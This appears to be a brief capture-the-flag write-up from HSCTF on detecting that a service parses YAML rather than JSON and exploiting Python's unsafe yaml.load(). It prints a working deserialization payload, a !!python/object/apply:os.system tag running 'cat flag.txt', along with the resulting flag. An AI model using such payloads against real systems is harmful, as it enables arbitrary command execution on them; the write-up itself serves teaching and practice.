Tags: yaml python 

Rating: 0

(full writeup at link)

After testing for errors, you get a response that doesn't typically happen when parsing JSON.
Google the error message (in my case, `while parsing a flow mapping`) and see that it's YAML

Take advantage of yaml.load() apply tag:
```
!!python/object/apply:os.system ["cat flag.txt"]
hsctf{JS0N_or_Y4ML}
```